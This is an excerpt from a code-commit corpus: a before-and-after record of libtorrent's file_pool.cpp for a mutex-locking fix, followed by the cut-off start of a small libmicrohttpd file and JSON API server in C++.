OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <boost\/version.hpp>\n#include <boost\/bind.hpp>\n#include \"libtorrent\/pch.hpp\"\n#include \"libtorrent\/assert.hpp\"\n#include \"libtorrent\/file_pool.hpp\"\n#include \"libtorrent\/error_code.hpp\"\n#include \"libtorrent\/file_storage.hpp\" \/\/ for file_entry\n\nnamespace libtorrent\n{\n\t\n\tfile_pool::file_pool(int size)\n\t\t: m_size(size)\n\t\t, m_low_prio_io(true)\n#if TORRENT_CLOSE_MAY_BLOCK\n\t\t, m_stop_thread(false)\n\t\t, m_closer_thread(boost::bind(&file_pool::closer_thread_fun, this))\n#endif\n\t{\n#ifdef TORRENT_DEBUG\n\t\tm_in_use = 1337;\n#endif\n\t}\n\n\tfile_pool::~file_pool()\n\t{\n#ifdef TORRENT_DEBUG\n\t\tm_in_use = 0;\n#endif\n#if TORRENT_CLOSE_MAY_BLOCK\n\t\tmutex::scoped_lock l(m_closer_mutex);\n\t\tm_stop_thread = true;\n\t\tl.unlock();\n\t\t\/\/ wait for hte closer thread to finish closing all files\n\t\tm_closer_thread.join();\n#endif\n\t}\n\n#if TORRENT_CLOSE_MAY_BLOCK\n\tvoid file_pool::closer_thread_fun()\n\t{\n\t\tfor (;;)\n\t\t{\n\t\t\tmutex::scoped_lock l(m_closer_mutex);\n\t\t\tif (m_stop_thread)\n\t\t\t{\n\t\t\t\tl.unlock();\n\t\t\t\tm_queued_for_close.clear();\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t\/\/ find a file that doesn't have any other threads referencing\n\t\t\t\/\/ it. Since only those files can be closed in this thead\n\t\t\tstd::vector<boost::intrusive_ptr<file> >::iterator i = std::find_if(\n\t\t\t\tm_queued_for_close.begin(), m_queued_for_close.end()\n\t\t\t\t, boost::bind(&file::refcount, boost::bind(&boost::intrusive_ptr<file>::get, _1)) == 1);\n\n\t\t\tif (i == m_queued_for_close.end())\n\t\t\t{\n\t\t\t\tl.unlock();\n\t\t\t\t\/\/ none of the files are ready to be closed yet\n\t\t\t\t\/\/ because they're still in use by other threads\n\t\t\t\t\/\/ hold off for a while\n\t\t\t\tsleep(100);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ ok, first pull the file out of the queue, release the mutex\n\t\t\t\t\/\/ (since closing the file may block) and then close it.\n\t\t\t\tboost::intrusive_ptr<file> f = *i;\n\t\t\t\tm_queued_for_close.erase(i);\n\t\t\t\tl.unlock();\n\t\t\t\tf->close();\n\t\t\t}\n\t\t}\n\t}\n#endif\n\n#ifdef TORRENT_WINDOWS\n\tvoid set_low_priority(boost::intrusive_ptr<file> const& f)\n\t{\n\t\t\/\/ file prio is only supported on vista and up\n\t\t\/\/ so load the functions dynamically\n\t\ttypedef enum _FILE_INFO_BY_HANDLE_CLASS {\n\t\t\tFileBasicInfo,\n\t\t\tFileStandardInfo,\n\t\t\tFileNameInfo,\n\t\t\tFileRenameInfo,\n\t\t\tFileDispositionInfo,\n\t\t\tFileAllocationInfo,\n\t\t\tFileEndOfFileInfo,\n\t\t\tFileStreamInfo,\n\t\t\tFileCompressionInfo,\n\t\t\tFileAttributeTagInfo,\n\t\t\tFileIdBothDirectoryInfo,\n\t\t\tFileIdBothDirectoryRestartInfo,\n\t\t\tFileIoPriorityHintInfo,\n\t\t\tFileRemoteProtocolInfo, \n\t\t\tMaximumFileInfoByHandleClass\n\t\t} FILE_INFO_BY_HANDLE_CLASS, *PFILE_INFO_BY_HANDLE_CLASS;\n\n\t\ttypedef enum _PRIORITY_HINT {\n\t\t\tIoPriorityHintVeryLow = 0,\n\t\t\tIoPriorityHintLow,\n\t\t\tIoPriorityHintNormal,\n\t\t\tMaximumIoPriorityHintType\n\t\t} PRIORITY_HINT;\n\n\t\ttypedef struct _FILE_IO_PRIORITY_HINT_INFO {\n\t\t\tPRIORITY_HINT PriorityHint;\n\t\t} FILE_IO_PRIORITY_HINT_INFO, *PFILE_IO_PRIORITY_HINT_INFO;\n\n\t\ttypedef BOOL (WINAPI *SetFileInformationByHandle_t)(HANDLE hFile, FILE_INFO_BY_HANDLE_CLASS FileInformationClass, LPVOID lpFileInformation, DWORD dwBufferSize);\n\t\tstatic SetFileInformationByHandle_t SetFileInformationByHandle = NULL;\n\n\t\tstatic bool failed_kernel_load = false;\n\n\t\tif (failed_kernel_load) return;\n\n\t\tif (SetFileInformationByHandle == NULL)\n\t\t{\n\t\t\tHMODULE kernel32 = LoadLibraryA(\"kernel32.dll\");\n\t\t\tif (kernel32 == NULL)\n\t\t\t{\n\t\t\t\tfailed_kernel_load = true;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tSetFileInformationByHandle = (SetFileInformationByHandle_t)GetProcAddress(kernel32, \"SetFileInformationByHandle\");\n\t\t\tif (SetFileInformationByHandle == NULL)\n\t\t\t{ \n\t\t\t\tfailed_kernel_load = true;\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tTORRENT_ASSERT(SetFileInformationByHandle);\n\n\t\tFILE_IO_PRIORITY_HINT_INFO io_hint;\n\t\tio_hint.PriorityHint = IoPriorityHintLow;\n\t\tSetFileInformationByHandle(f->native_handle(),\n\t\t\tFileIoPriorityHintInfo, &io_hint, sizeof(io_hint));\n\t}\n#endif \/\/ TORRENT_WINDOWS\n\n\tboost::intrusive_ptr<file> file_pool::open_file(void* st, std::string const& p\n\t\t, int file_index, file_storage const& fs, int m, error_code& ec)\n\t{\n\t\tTORRENT_ASSERT(st != 0);\n\t\tTORRENT_ASSERT(is_complete(p));\n\t\tTORRENT_ASSERT((m & file::rw_mask) == file::read_only\n\t\t\t|| (m & file::rw_mask) == file::read_write);\n\t\tmutex::scoped_lock l(m_mutex);\n\t\tTORRENT_ASSERT(m_in_use == 1337);\n\t\tfile_set::iterator i = m_files.find(std::make_pair(st, file_index));\n\t\tif (i != m_files.end())\n\t\t{\n\t\t\tlru_file_entry& e = i->second;\n\t\t\te.last_use = time_now();\n\n\t\t\tif (e.key != st && ((e.mode & file::rw_mask) != file::read_only\n\t\t\t\t|| (m & file::rw_mask) != file::read_only))\n\t\t\t{\n\t\t\t\t\/\/ this means that another instance of the storage\n\t\t\t\t\/\/ is using the exact same file.\n#if BOOST_VERSION >= 103500\n\t\t\t\tec = errors::file_collision;\n#endif\n\t\t\t\treturn boost::intrusive_ptr<file>();\n\t\t\t}\n\n\t\t\te.key = st;\n\t\t\t\/\/ if we asked for a file in write mode,\n\t\t\t\/\/ and the cached file is is not opened in\n\t\t\t\/\/ write mode, re-open it\n\t\t\tif ((((e.mode & file::rw_mask) != file::read_write)\n\t\t\t\t&& ((m & file::rw_mask) == file::read_write))\n\t\t\t\t|| (e.mode & file::no_buffer) != (m & file::no_buffer)\n\t\t\t\t|| (e.mode & file::random_access) != (m & file::random_access))\n\t\t\t{\n\t\t\t\t\/\/ close the file before we open it with\n\t\t\t\t\/\/ the new read\/write privilages\n\t\t\t\tTORRENT_ASSERT(e.file_ptr->refcount() == 1);\n\n#if TORRENT_CLOSE_MAY_BLOCK\n\t\t\t\tmutex::scoped_lock l(m_closer_mutex);\n\t\t\t\tm_queued_for_close.push_back(e.file_ptr);\n\t\t\t\tl.unlock();\n\t\t\t\te.file_ptr = new file;\n#else\n\t\t\t\te.file_ptr->close();\n#endif\n\t\t\t\tstd::string full_path = fs.file_path(file_index, p);\n\t\t\t\tif (!e.file_ptr->open(full_path, m, ec))\n\t\t\t\t{\n\t\t\t\t\tm_files.erase(i);\n\t\t\t\t\treturn boost::intrusive_ptr<file>();\n\t\t\t\t}\n#ifdef TORRENT_WINDOWS\n\t\t\t\tif (m_low_prio_io)\n\t\t\t\t\tset_low_priority(e.file_ptr);\n#endif\n\t\t\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\t\t\t\te.mode = m;\n\t\t\t}\n\t\t\tTORRENT_ASSERT((e.mode & file::no_buffer) == (m & file::no_buffer));\n\t\t\treturn e.file_ptr;\n\t\t}\n\t\t\/\/ the file is not in our cache\n\t\tif ((int)m_files.size() >= m_size)\n\t\t{\n\t\t\t\/\/ the file cache is at its maximum size, close\n\t\t\t\/\/ the least recently used (lru) file from it\n\t\t\tremove_oldest();\n\t\t}\n\t\tlru_file_entry e;\n\t\te.file_ptr.reset(new (std::nothrow)file);\n\t\tif (!e.file_ptr)\n\t\t{\n\t\t\tec = error_code(ENOMEM, get_posix_category());\n\t\t\treturn e.file_ptr;\n\t\t}\n\t\tstd::string full_path = fs.file_path(file_index, p);\n\t\tif (!e.file_ptr->open(full_path, m, ec))\n\t\t\treturn boost::intrusive_ptr<file>();\n#ifdef TORRENT_WINDOWS\n\t\tif (m_low_prio_io)\n\t\t\tset_low_priority(e.file_ptr);\n#endif\n\t\te.mode = m;\n\t\te.key = st;\n\t\tm_files.insert(std::make_pair(std::make_pair(st, file_index), e));\n\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\t\treturn e.file_ptr;\n\t}\n\n\tvoid file_pool::remove_oldest()\n\t{\n\t\tTORRENT_ASSERT(m_in_use == 1337);\n\n\t\tfile_set::iterator i = std::min_element(m_files.begin(), m_files.end()\n\t\t\t, boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _1))\n\t\t\t\t< boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _2)));\n\t\tif (i == m_files.end()) return;\n\n#if TORRENT_CLOSE_MAY_BLOCK\n\t\tmutex::scoped_lock l_(m_closer_mutex);\n\t\tm_queued_for_close.push_back(i->second.file_ptr);\n\t\tl_.unlock();\n#endif\n\t\tm_files.erase(i);\n\t}\n\n\tvoid file_pool::release(void* st, int file_index)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\t\tTORRENT_ASSERT(m_in_use == 1337);\n\t\tfile_set::iterator i = m_files.find(std::make_pair(st, file_index));\n\t\tif (i == m_files.end()) return;\n\t\t\n#if TORRENT_CLOSE_MAY_BLOCK\n\t\tmutex::scoped_lock l2(m_closer_mutex);\n\t\tm_queued_for_close.push_back(i->second.file_ptr);\n\t\tl2.unlock();\n#endif\n\t\tm_files.erase(i);\n\t}\n\n\t\/\/ closes files belonging to the specified\n\t\/\/ storage. If 0 is passed, all files are closed\n\tvoid file_pool::release(void* st)\n\t{\n\t\tTORRENT_ASSERT(m_in_use == 1337);\n\t\tif (st == 0)\n\t\t{\n\t\t\tm_files.clear();\n\t\t\treturn;\n\t\t}\n\n\t\tfor (file_set::iterator i = m_files.begin();\n\t\t\ti != m_files.end();)\n\t\t{\n\t\t\tif (i->second.key == st)\n\t\t\t\tm_files.erase(i++);\n\t\t\telse\n\t\t\t\t++i;\n\t\t}\n\t}\n\n\tvoid file_pool::resize(int size)\n\t{\n\t\tTORRENT_ASSERT(size > 0);\n\n\t\tTORRENT_ASSERT(m_in_use == 1337);\n\t\tif (size == m_size) return;\n\t\tmutex::scoped_lock l(m_mutex);\n\t\tm_size = size;\n\t\tif (int(m_files.size()) <= m_size) return;\n\n\t\t\/\/ close the least recently used files\n\t\twhile (int(m_files.size()) > m_size)\n\t\t\tremove_oldest();\n\t}\n\n}\n\n<commit_msg>fix mutex issue introduced in recent patch<commit_after>\/*\n\nCopyright (c) 2006-2013, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <boost\/version.hpp>\n#include <boost\/bind.hpp>\n#include \"libtorrent\/pch.hpp\"\n#include \"libtorrent\/assert.hpp\"\n#include \"libtorrent\/file_pool.hpp\"\n#include \"libtorrent\/error_code.hpp\"\n#include \"libtorrent\/file_storage.hpp\" \/\/ for file_entry\n\nnamespace libtorrent\n{\n\t\n\tfile_pool::file_pool(int size)\n\t\t: m_size(size)\n\t\t, m_low_prio_io(true)\n#if TORRENT_CLOSE_MAY_BLOCK\n\t\t, m_stop_thread(false)\n\t\t, m_closer_thread(boost::bind(&file_pool::closer_thread_fun, this))\n#endif\n\t{\n#ifdef TORRENT_DEBUG\n\t\tm_in_use = 1337;\n#endif\n\t}\n\n\tfile_pool::~file_pool()\n\t{\n#ifdef TORRENT_DEBUG\n\t\tm_in_use = 0;\n#endif\n#if TORRENT_CLOSE_MAY_BLOCK\n\t\tmutex::scoped_lock l(m_closer_mutex);\n\t\tm_stop_thread = true;\n\t\tl.unlock();\n\t\t\/\/ wait for hte closer thread to finish closing all files\n\t\tm_closer_thread.join();\n#endif\n\t}\n\n#if TORRENT_CLOSE_MAY_BLOCK\n\tvoid file_pool::closer_thread_fun()\n\t{\n\t\tfor (;;)\n\t\t{\n\t\t\tmutex::scoped_lock l(m_closer_mutex);\n\t\t\tif (m_stop_thread)\n\t\t\t{\n\t\t\t\tl.unlock();\n\t\t\t\tm_queued_for_close.clear();\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t\/\/ find a file that doesn't have any other threads referencing\n\t\t\t\/\/ it. Since only those files can be closed in this thead\n\t\t\tstd::vector<boost::intrusive_ptr<file> >::iterator i = std::find_if(\n\t\t\t\tm_queued_for_close.begin(), m_queued_for_close.end()\n\t\t\t\t, boost::bind(&file::refcount, boost::bind(&boost::intrusive_ptr<file>::get, _1)) == 1);\n\n\t\t\tif (i == m_queued_for_close.end())\n\t\t\t{\n\t\t\t\tl.unlock();\n\t\t\t\t\/\/ none of the files are ready to be closed yet\n\t\t\t\t\/\/ because they're still in use by other threads\n\t\t\t\t\/\/ hold off for a while\n\t\t\t\tsleep(100);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\/\/ ok, first pull the file out of the queue, release the mutex\n\t\t\t\t\/\/ (since closing the file may block) and then close it.\n\t\t\t\tboost::intrusive_ptr<file> f = *i;\n\t\t\t\tm_queued_for_close.erase(i);\n\t\t\t\tl.unlock();\n\t\t\t\tf->close();\n\t\t\t}\n\t\t}\n\t}\n#endif\n\n#ifdef TORRENT_WINDOWS\n\tvoid set_low_priority(boost::intrusive_ptr<file> const& f)\n\t{\n\t\t\/\/ file prio is only supported on vista and up\n\t\t\/\/ so load the functions dynamically\n\t\ttypedef enum _FILE_INFO_BY_HANDLE_CLASS {\n\t\t\tFileBasicInfo,\n\t\t\tFileStandardInfo,\n\t\t\tFileNameInfo,\n\t\t\tFileRenameInfo,\n\t\t\tFileDispositionInfo,\n\t\t\tFileAllocationInfo,\n\t\t\tFileEndOfFileInfo,\n\t\t\tFileStreamInfo,\n\t\t\tFileCompressionInfo,\n\t\t\tFileAttributeTagInfo,\n\t\t\tFileIdBothDirectoryInfo,\n\t\t\tFileIdBothDirectoryRestartInfo,\n\t\t\tFileIoPriorityHintInfo,\n\t\t\tFileRemoteProtocolInfo, \n\t\t\tMaximumFileInfoByHandleClass\n\t\t} FILE_INFO_BY_HANDLE_CLASS, *PFILE_INFO_BY_HANDLE_CLASS;\n\n\t\ttypedef enum _PRIORITY_HINT {\n\t\t\tIoPriorityHintVeryLow = 0,\n\t\t\tIoPriorityHintLow,\n\t\t\tIoPriorityHintNormal,\n\t\t\tMaximumIoPriorityHintType\n\t\t} PRIORITY_HINT;\n\n\t\ttypedef struct _FILE_IO_PRIORITY_HINT_INFO {\n\t\t\tPRIORITY_HINT PriorityHint;\n\t\t} FILE_IO_PRIORITY_HINT_INFO, *PFILE_IO_PRIORITY_HINT_INFO;\n\n\t\ttypedef BOOL (WINAPI *SetFileInformationByHandle_t)(HANDLE hFile, FILE_INFO_BY_HANDLE_CLASS FileInformationClass, LPVOID lpFileInformation, DWORD dwBufferSize);\n\t\tstatic SetFileInformationByHandle_t SetFileInformationByHandle = NULL;\n\n\t\tstatic bool failed_kernel_load = false;\n\n\t\tif (failed_kernel_load) return;\n\n\t\tif (SetFileInformationByHandle == NULL)\n\t\t{\n\t\t\tHMODULE kernel32 = LoadLibraryA(\"kernel32.dll\");\n\t\t\tif (kernel32 == NULL)\n\t\t\t{\n\t\t\t\tfailed_kernel_load = true;\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tSetFileInformationByHandle = (SetFileInformationByHandle_t)GetProcAddress(kernel32, \"SetFileInformationByHandle\");\n\t\t\tif (SetFileInformationByHandle == NULL)\n\t\t\t{ \n\t\t\t\tfailed_kernel_load = true;\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tTORRENT_ASSERT(SetFileInformationByHandle);\n\n\t\tFILE_IO_PRIORITY_HINT_INFO io_hint;\n\t\tio_hint.PriorityHint = IoPriorityHintLow;\n\t\tSetFileInformationByHandle(f->native_handle(),\n\t\t\tFileIoPriorityHintInfo, &io_hint, sizeof(io_hint));\n\t}\n#endif \/\/ TORRENT_WINDOWS\n\n\tboost::intrusive_ptr<file> file_pool::open_file(void* st, std::string const& p\n\t\t, int file_index, file_storage const& fs, int m, error_code& ec)\n\t{\n\t\tTORRENT_ASSERT(st != 0);\n\t\tTORRENT_ASSERT(is_complete(p));\n\t\tTORRENT_ASSERT((m & file::rw_mask) == file::read_only\n\t\t\t|| (m & file::rw_mask) == file::read_write);\n\t\tmutex::scoped_lock l(m_mutex);\n\t\tTORRENT_ASSERT(m_in_use == 1337);\n\t\tfile_set::iterator i = m_files.find(std::make_pair(st, file_index));\n\t\tif (i != m_files.end())\n\t\t{\n\t\t\tlru_file_entry& e = i->second;\n\t\t\te.last_use = time_now();\n\n\t\t\tif (e.key != st && ((e.mode & file::rw_mask) != file::read_only\n\t\t\t\t|| (m & file::rw_mask) != file::read_only))\n\t\t\t{\n\t\t\t\t\/\/ this means that another instance of the storage\n\t\t\t\t\/\/ is using the exact same file.\n#if BOOST_VERSION >= 103500\n\t\t\t\tec = errors::file_collision;\n#endif\n\t\t\t\treturn boost::intrusive_ptr<file>();\n\t\t\t}\n\n\t\t\te.key = st;\n\t\t\t\/\/ if we asked for a file in write mode,\n\t\t\t\/\/ and the cached file is is not opened in\n\t\t\t\/\/ write mode, re-open it\n\t\t\tif ((((e.mode & file::rw_mask) != file::read_write)\n\t\t\t\t&& ((m & file::rw_mask) == file::read_write))\n\t\t\t\t|| (e.mode & file::no_buffer) != (m & file::no_buffer)\n\t\t\t\t|| (e.mode & file::random_access) != (m & file::random_access))\n\t\t\t{\n\t\t\t\t\/\/ close the file before we open it with\n\t\t\t\t\/\/ the new read\/write privilages\n\t\t\t\tTORRENT_ASSERT(e.file_ptr->refcount() == 1);\n\n#if TORRENT_CLOSE_MAY_BLOCK\n\t\t\t\tmutex::scoped_lock l(m_closer_mutex);\n\t\t\t\tm_queued_for_close.push_back(e.file_ptr);\n\t\t\t\tl.unlock();\n\t\t\t\te.file_ptr = new file;\n#else\n\t\t\t\te.file_ptr->close();\n#endif\n\t\t\t\tstd::string full_path = fs.file_path(file_index, p);\n\t\t\t\tif (!e.file_ptr->open(full_path, m, ec))\n\t\t\t\t{\n\t\t\t\t\tm_files.erase(i);\n\t\t\t\t\treturn boost::intrusive_ptr<file>();\n\t\t\t\t}\n#ifdef TORRENT_WINDOWS\n\t\t\t\tif (m_low_prio_io)\n\t\t\t\t\tset_low_priority(e.file_ptr);\n#endif\n\t\t\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\t\t\t\te.mode = m;\n\t\t\t}\n\t\t\tTORRENT_ASSERT((e.mode & file::no_buffer) == (m & file::no_buffer));\n\t\t\treturn e.file_ptr;\n\t\t}\n\t\t\/\/ the file is not in our cache\n\t\tif ((int)m_files.size() >= m_size)\n\t\t{\n\t\t\t\/\/ the file cache is at its maximum size, close\n\t\t\t\/\/ the least recently used (lru) file from it\n\t\t\tremove_oldest();\n\t\t}\n\t\tlru_file_entry e;\n\t\te.file_ptr.reset(new (std::nothrow)file);\n\t\tif (!e.file_ptr)\n\t\t{\n\t\t\tec = error_code(ENOMEM, get_posix_category());\n\t\t\treturn e.file_ptr;\n\t\t}\n\t\tstd::string full_path = fs.file_path(file_index, p);\n\t\tif (!e.file_ptr->open(full_path, m, ec))\n\t\t\treturn boost::intrusive_ptr<file>();\n#ifdef TORRENT_WINDOWS\n\t\tif (m_low_prio_io)\n\t\t\tset_low_priority(e.file_ptr);\n#endif\n\t\te.mode = m;\n\t\te.key = st;\n\t\tm_files.insert(std::make_pair(std::make_pair(st, file_index), e));\n\t\tTORRENT_ASSERT(e.file_ptr->is_open());\n\t\treturn e.file_ptr;\n\t}\n\n\tvoid file_pool::remove_oldest()\n\t{\n\t\tTORRENT_ASSERT(m_in_use == 1337);\n\n\t\tfile_set::iterator i = std::min_element(m_files.begin(), m_files.end()\n\t\t\t, boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _1))\n\t\t\t\t< boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _2)));\n\t\tif (i == m_files.end()) return;\n\n#if TORRENT_CLOSE_MAY_BLOCK\n\t\tmutex::scoped_lock l_(m_closer_mutex);\n\t\tm_queued_for_close.push_back(i->second.file_ptr);\n\t\tl_.unlock();\n#endif\n\t\tm_files.erase(i);\n\t}\n\n\tvoid file_pool::release(void* st, int file_index)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\t\tTORRENT_ASSERT(m_in_use == 1337);\n\t\tfile_set::iterator i = m_files.find(std::make_pair(st, file_index));\n\t\tif (i == m_files.end()) return;\n\t\t\n#if TORRENT_CLOSE_MAY_BLOCK\n\t\tmutex::scoped_lock l2(m_closer_mutex);\n\t\tm_queued_for_close.push_back(i->second.file_ptr);\n\t\tl2.unlock();\n#endif\n\t\tm_files.erase(i);\n\t}\n\n\t\/\/ closes files belonging to the specified\n\t\/\/ storage. If 0 is passed, all files are closed\n\tvoid file_pool::release(void* st)\n\t{\n\t\tmutex::scoped_lock l(m_mutex);\n\t\tTORRENT_ASSERT(m_in_use == 1337);\n\t\tif (st == 0)\n\t\t{\n\t\t\tm_files.clear();\n\t\t\treturn;\n\t\t}\n\n\t\tfor (file_set::iterator i = m_files.begin();\n\t\t\ti != m_files.end();)\n\t\t{\n\t\t\tif (i->second.key == st)\n\t\t\t\tm_files.erase(i++);\n\t\t\telse\n\t\t\t\t++i;\n\t\t}\n\t}\n\n\tvoid file_pool::resize(int size)\n\t{\n\t\tTORRENT_ASSERT(size > 0);\n\n\t\tTORRENT_ASSERT(m_in_use == 1337);\n\t\tif (size == m_size) return;\n\t\tmutex::scoped_lock l(m_mutex);\n\t\tm_size = size;\n\t\tif (int(m_files.size()) <= m_size) return;\n\n\t\t\/\/ close the least recently used files\n\t\twhile (int(m_files.size()) > m_size)\n\t\t\tremove_oldest();\n\t}\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/#include \"fused.h\"\n#include <sys\/types.h>\n#include <sys\/select.h>\n#include <sys\/socket.h>\n#include <sys\/stat.h>\n#include <string.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <vector>\n#include \"microhttpd.h\"\n#include \"String.h\"\n#include \"JsonValue.h\"\n#include \"JsonObject.h\"\n#include \"JsonString.h\"\n#include \"JsonArray.h\"\n#include \"JsonNull.h\"\n#include \"JsonNumber.h\"\n#include \"SmartPointer.h\"\n\nusing std::vector;\n\nusing lepcpplib::JsonValue;\nusing lepcpplib::JsonObject;\nusing lepcpplib::JsonString;\nusing lepcpplib::JsonArray;\nusing lepcpplib::JsonNull;\nusing lepcpplib::JsonNumber;\nusing lepcpplib::SmartPointer;\nusing lepcpplib::String;\n\nconst short int kPort = 8888;\nconst int kFileBlockSize = 32 * 1024 * 1024;\nconst String k404 = \"<html><head><title>File not found<\/title><\/head><body>File not found<\/body><\/html>\";\n\nint enqueue_404_response(MHD_Connection* connection)\n{\n    MHD_Response* response = MHD_create_response_from_buffer(k404.length(),\n      (void*)k404.toCharArray(), MHD_RESPMEM_PERSISTENT);\n\n    int result = MHD_queue_response(connection, MHD_HTTP_NOT_FOUND, response);\n    MHD_destroy_response(response);\n\n    return result;\n}\n\nssize_t file_server_callback(void *cls, uint64_t pos, char *buf, size_t max)\n{\n  FILE* f = (FILE*)cls;\n  fseek(f, pos, SEEK_SET);\n  return fread(buf, 1, max, f);\n}\n\nvoid file_server_free_callback(void* cls)\n{\n  fclose((FILE*)cls);\n}\n\nint serve_file(MHD_Connection* connection, String& filename)\n{\n  MHD_Response* response = NULL;\n  struct stat filestats;\n  int result = stat(filename.toCharArray(), &filestats);\n  if (result != -1) {\n    FILE* fp = fopen(filename.toCharArray(), \"r\");\n    response = MHD_create_response_from_callback (filestats.st_size,\n               kFileBlockSize, file_server_callback, fp, file_server_free_callback);\n    result = MHD_queue_response(connection, MHD_HTTP_OK, response);\n  }\n  else {\n    result = enqueue_404_response(connection);\n  }\n\n  MHD_destroy_response(response);\n  return result;\n}\n\nint route_discover(void* cls, MHD_Connection* connection,\n                   const char* url,\n                   const char* method, const char* version,\n                   const char* upload_data,\n                   size_t* upload_data_size, void** con_cls,\n                   vector<String>& tokens)\n{\n  MHD_Response* response;\n  int result;\n  String filename;\n  if (tokens.size() == 2) {\n    filename = \"..\/www\/html\/discover.html\";\n  }\n  else {\n    filename = \"..\/www\/html\";\n    for (int i = 2; i < tokens.size(); ++i)\n    {\n      filename = filename + \"\/\" + tokens[i]; \n    }\n  }\n\n  return serve_file(connection, filename);\n}\n\nint route_api(void* cls, MHD_Connection* connection,\n              const char* url,\n              const char* method, const char* version,\n              const char* upload_data,\n              size_t* upload_data_size, void** con_cls,\n              vector<String>& tokens)\n{\n  SmartPointer<String> output;\n\n  int token_count = tokens.size();\n  if ((token_count >= 4) && (tokens[2] == \"get\") && (tokens[3] == \"tags\")) {\n    JsonObject* j1 = new JsonObject();\n    j1->Add(new JsonString(\"name\"), new JsonString(\"root\"));\n    j1->Add(new JsonString(\"id\"), new JsonNumber(0));\n    j1->Add(new JsonString(\"parent\"), new JsonNull());\n\n    JsonObject* j2 = new JsonObject();\n    j2->Add(new JsonString(\"name\"), new JsonString(\"home\"));\n    j2->Add(new JsonString(\"id\"), new JsonNumber(1));\n    j2->Add(new JsonString(\"parent\"), new JsonString(\"root\"));\n\n    JsonArray* a = new JsonArray();\n    a->Add(j1);\n    a->Add(j2);\n\n    SmartPointer<JsonObject> j = new JsonObject();\n    j->Add(new JsonString(\"tags\"), a);\n\n    output = j->ToString();\n  }\n  else if ((token_count >= 5) && (tokens[2] == \"get\") && (tokens[3] == \"tag\")) {\n    int tag_id = String::toInt(tokens[4].toCharArray());\n\n    if (tag_id == 0) {\n      JsonObject* j1 = new JsonObject();\n      j1->Add(new JsonString(\"name\"), new JsonString(\"file1.txt\"));\n      j1->Add(new JsonString(\"id\"), new JsonNumber(0));\n\n      JsonObject* j2 = new JsonObject();\n      j2->Add(new JsonString(\"name\"), new JsonString(\"file2.jpg\"));\n      j2->Add(new JsonString(\"id\"), new JsonNumber(1));\n\n      JsonArray* a = new JsonArray();\n      a->Add(j1);\n      a->Add(j2);\n\n      SmartPointer<JsonObject> j = new JsonObject();\n      j->Add(new JsonString(\"files\"), a);\n      output = j->ToString();\n    }\n    else {\n      JsonObject* j1 = new JsonObject();\n      j1->Add(new JsonString(\"name\"), new JsonString(\"file3.mp4\"));\n      j1->Add(new JsonString(\"id\"), new JsonNumber(2));\n\n      JsonObject* j2 = new JsonObject();\n      j2->Add(new JsonString(\"name\"), new JsonString(\"file4.mp3\"));\n      j2->Add(new JsonString(\"id\"), new JsonNumber(3));\n\n      JsonArray* a = new JsonArray();\n      a->Add(j1);\n      a->Add(j2);\n\n      SmartPointer<JsonObject> j = new JsonObject();\n      j->Add(new 